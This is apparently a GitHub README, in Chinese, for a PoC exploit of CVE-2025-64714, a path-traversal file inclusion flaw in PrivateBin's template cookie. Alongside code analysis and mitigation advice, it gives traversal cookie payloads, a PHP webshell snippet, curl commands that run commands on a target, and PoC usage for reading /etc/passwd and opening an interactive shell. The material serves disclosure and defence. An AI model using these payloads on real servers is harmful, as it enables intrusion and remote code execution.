Medaz-Sploit/CVE-2025-64714-privatebin-2.0.2-PoC

GitHub: Medaz-Sploit/CVE-2025-64714-privatebin-2.0.2-PoC

针对 PrivateBin 2.0.2 及更早版本中 template cookie 路径遍历导致的本地文件包含漏洞(CVE-2025-64714)的概念验证与利用工具。

Stars: 0 | Forks: 0

# CVE-2025-64714 — PrivateBin 通过 Template Cookie 路径遍历实现的本地文件包含 ## 目录 1. [概述](#summary) 2. [漏洞分析](#vulnerability-analysis) 3. [根本原因](#root-cause) 4. [攻击条件](#attack-conditions) 5. [利用场景](#exploitation-scenarios) 6. [PoC 用法](#poc-usage) 7. [影响](#impact) 8. [缓解措施](#mitigation) 9. [时间线](#timeline) 10. [免责声明](#disclaimer) ## 概述 PrivateBin 1.7.7 版本引入了一项 **模板切换** 功能,允许用户通过 `template` cookie 持久化其首选的视觉主题。由于对 cookie 值的验证不足,未经身份验证的攻击者可以提供 **路径遍历序列**(例如 `../`)来导致服务器包含预期 `tpl/` 目录之外的任意 PHP 文件——这是一个典型的 **本地文件包含(LFI)** 漏洞。 当与独立的 **写入原语**(配置错误的上传端点、另一个漏洞或本地访问)结合使用时,此 LFI 可以升级为 **远程代码执行(RCE)**。 ## 漏洞分析 ### 漏洞变更(在 commit `44f8cfb` 中引入,v1.7.7) 在 v1.7.7 之前,`TemplateSwitcher::isTemplateAvailable()` 仅接受属于预定义允许列表的模板: ``` // SAFE (before 1.7.7) public static function isTemplateAvailable(string $template): bool { return in_array($template, self::getAvailableTemplates()); } ``` 在 v1.7.7 中,添加了一个备用路径以支持第三方主题。新代码检查文件是否 **存在于磁盘上**,而不是根据安全列表对其进行验证: ``` // VULNERABLE (1.7.7 – 2.0.2) public static function isTemplateAvailable(string $template): bool { $available = in_array($template, self::getAvailableTemplates()); if (!$available && !View::isBootstrapTemplate($template)) { $path = View::getTemplateFilePath($template); $available = file_exists($path); // ← trusts user-supplied $template } return $available; } ``` ### 路径构建 — 无清理 `View::getTemplateFilePath()` 简单地将用户提供的值拼接到文件系统路径中: ``` // Simplified return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php'; ``` 当 `template=../cfg/conf` 时,解析的路径变为: ``` /var/www/privatebin/tpl/../cfg/conf.php ────────────────────────────────── = /var/www/privatebin/cfg/conf.php ``` 没有调用 `realpath()`,没有剥离 `..` 序列,也没有检查解析的路径是否保留在 `tpl/` 内。 ### 包含 — 任意 PHP 执行 一旦 `isTemplateAvailable()` 返回 `true`,`View::draw()` 会无条件包含该路径: ``` public function draw($template) { $path = self::getTemplateFilePath($template); if (!file_exists($path)) { throw new Exception('Template ' . $template . ' not found!', 80); } extract($this->_variables); include $path; // ← attacker-controlled path included here } ``` `extract($this->_variables)` 也会在包含之前运行,这可能会污染包含文件可用的变量命名空间。 ### 绕过条件 唯一的附加防护是检查并阻止以 `bootstrap-` 开头的字符串: ``` if (!$available && !View::isBootstrapTemplate($template)) { … } ``` `isBootstrapTemplate()` 仅当字符串以 `bootstrap-` 开头时才返回 `true`。像 `../data/shell` 这样的路径遍历字符串可以轻松绕过此检查。 ## 攻击条件 两个条件必须同时满足: | # | 条件 | |---|-----------| | 1 | 在 `cfg/conf.php` 中设置了 `templateselection = true`(非默认) | | 2 | 攻击者可以通过 `tpl/` 的相对路径引用现有的 `.php` 文件 | 对于 **纯 LFI / 信息泄露**,现有 PrivateBin PHP 文件已满足条件 2。 对于 **RCE**,攻击者还需要一个 **写入原语** 来将 PHP webshell 放置在可访问的目录下(例如 `data/`、可写的上传目录等)。 ## 利用场景 ### 场景 1 — 信息泄露(纯 LFI) 攻击者读取 PrivateBin 自身的 PHP 文件。大多数文件受保护行保护,会产生 `403` 或 `500` 响应,但响应本身即确认了 LFI。 ``` Cookie: template=../cfg/conf ``` 服务器端解析为:`tpl/../cfg/conf.php` → `cfg/conf.php` 即使是 `500` 响应也是有意义的信号——它证明文件已被访问且 PHP 引擎尝试执行它。 ### 场景 2 — 通过写入原语实现 RCE **步骤 1 — 投放 webshell**,使用任何写入向量(例如另一个文件上传漏洞、针对内部服务的 SSRF,或 CTF/实验室场景中的直接文件系统访问): ``` // /var/www/privatebin/data/shell.php '.shell_exec($_REQUEST['cmd']).'';} ?> ``` **步骤 2 — 通过 template cookie 触发 LFI**: ``` Cookie: template=../data/shell ``` 解析为:`tpl/../data/shell.php` → `data/shell.php` ✓ **步骤 3 — 通过 GET 参数执行命令**: ``` curl -s -k \ --cookie 'template=../data/shell' \ -G --data-urlencode "cmd=id" \ https://bin.example.com ``` 响应: ```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
``` ### 场景 3 — 读取敏感的非 PrivateBin 文件 如果其他 PHP 应用程序共享相同的 Web 根目录(在共享主机中很常见),则其配置文件可能是可访问的: ``` Cookie: template=../../other_app/config/database ``` ## PoC 用法 ### 要求 ``` pip install requests ``` ### 基本命令 ``` # 1. 检测目标是否存在漏洞 python3 poc.py --url https://bin.example.com --detect # 2. 触发 LFI 读取特定 PHP 文件 python3 poc.py --url https://bin.example.com --template ../cfg/conf # 3. 上传 + 触发 webshell + 运行单个命令 (RCE 链) python3 poc.py --url https://bin.example.com \ --upload-shell ../data/pwn \ --cmd "cat /etc/passwd" # 4. 交互式 pseudo-shell python3 poc.py --url https://bin.example.com \ --upload-shell ../data/pwn \ --interactive ``` ### 等效的手动 curl 命令 ``` # Detection probe curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com # RCE (在将 shell 写入 data/pwn.php 之后) curl -s -k \ --cookie 'template=../data/pwn' \ -G --data-urlencode "cmd=id" \ https://bin.example.com ``` ## 影响 | 向量 | 影响 | 备注 | |--------|--------|-------| | LFI — PrivateBin 配置 | 有限 | 默认配置文件带有 PHP 保护行;产生 403/500 | | LFI — 粘贴数据文件 | 有限 | 每个粘贴文件都包含相同的保护行 | | LFI — 第三方 PHP 文件 | **高** | 取决于共存的应用程序 | | LFI + 写入原语 → RCE | **严重** | 以 Web 服务器用户身份完全执行命令 | PrivateBin 团队自己的分析发现,在公开列出的约 300 个实例中,有 **11 个** 启用了 `templateselection`,并且在披露时没有一个存在未受保护的配置文件。然而,在配置错误的环境或存在二次写入漏洞的环境中,该漏洞仍然具有重大意义。 ## 缓解措施 ### 已修补版本 升级到 **PrivateBin 2.0.3** 或更高版本。此修复恢复了严格的允许列表验证——仅当 `template` cookie 值与配置的 `availabletemplates` 列表中的模板名称完全匹配时,才会被接受。 ### 变通方案(不升级) 在 `cfg/conf.php` 中禁用模板选择: ``` [main] templateselection = false ``` 这是默认值;只有在之前已启用的情况下,才需要显式设置。 ## 免责声明 本仓库仅 **出于教育目的和授权安全测试** 提供。作者不对任何滥用行为负责。在对不属于自己的系统进行测试之前,请务必获得明确的书面授权。在大多数司法管辖区,未经授权利用计算机系统是非法的。
标签:0day漏洞, CISA项目, Cookie注入, CVE-2025-64714, CVE漏洞, LFI, meg, PHP安全, PoC, PrivateBin, RCE, Web安全, Write Primitive, 信息安全, 威胁防御, 文件包含漏洞, 暴力破解, 本地文件包含, 模板注入, 漏洞分析, 编程工具, 网络安全, 蓝队分析, 路径探测, 路径遍历, 远程代码执行, 逆向工具, 隐私保护